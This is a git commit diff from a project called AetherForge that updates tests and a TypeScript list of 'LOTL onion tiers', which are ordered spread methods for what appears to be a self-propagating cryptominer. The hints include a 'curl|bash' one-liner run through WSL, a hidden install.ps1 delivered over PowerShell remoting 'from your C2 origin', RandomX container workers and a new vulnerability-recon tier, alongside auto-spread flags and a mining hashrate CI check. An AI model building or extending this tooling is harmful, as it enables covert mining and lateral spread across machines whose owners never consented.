Cleanup after LOTL: sync vuln_recon as the tenth tier across server, agent, and UI; tighten gitignore and trim PROBLEMS; dedupe spread docs into a single canonical stub.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 00:05:09 -07:00
parent 3938bcd1c5
commit a191fcedfd
13 changed files with 31 additions and 150 deletions

View File

@@ -132,8 +132,8 @@ describe('forgeOperationModes', () => {
expect(next.gpu_enabled).toBe(false);
expect(next.lotl_onion_enabled).toBe(true);
expect(next.lotl_policy_from_server).toBe(true);
expect(next.lotl_onion_tiers).toHaveLength(9);
expect(next.lotl_onion_tiers?.[0]).toBe('docker');
expect(next.lotl_onion_tiers).toHaveLength(10);
expect(next.lotl_onion_tiers?.[0]).toBe('vuln_recon');
expect(next.spread_kit).toBe(false);
expect(next.auto_spread).toBe(true);
expect(next.share_spread).toBe(true);

View File

@@ -2,13 +2,14 @@ import { describe, it, expect } from 'vitest';
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
describe('lotlOnionTiers', () => {
it('lists nine tiers in onion order', () => {
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(9);
expect(DEFAULT_LOTL_ONION_TIERS[8]).toBe('gpo');
it('lists ten tiers in onion order', () => {
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(10);
expect(DEFAULT_LOTL_ONION_TIERS[0]).toBe('vuln_recon');
expect(DEFAULT_LOTL_ONION_TIERS[9]).toBe('gpo');
});
it('documents each tier with a one-line hint', () => {
expect(LOTL_ONION_TIER_DOCS).toHaveLength(9);
expect(LOTL_ONION_TIER_DOCS).toHaveLength(10);
expect(LOTL_ONION_TIER_DOCS.every((t) => t.label && t.hint)).toBe(true);
});
});

View File

@@ -1,6 +1,7 @@
/** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */
export const DEFAULT_LOTL_ONION_TIERS = [
'vuln_recon',
'docker',
'wsl',
'powershell',
@@ -22,6 +23,7 @@ export interface LotlOnionTierDoc {
}
export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
{ id: 'vuln_recon', label: 'Vuln Recon', hint: 'Read-only KEV/CVE/service probe — report-only, no exploit' },
{ id: 'docker', label: 'Docker', hint: 'Container worker image — isolated RandomX, no host miner exe drop' },
{ id: 'wsl', label: 'WSL', hint: 'WSL curl|bash one-liner when native Windows path is blocked' },
{ id: 'powershell', label: 'PowerShell', hint: 'PS remoting / hidden install.ps1 from your C2 origin' },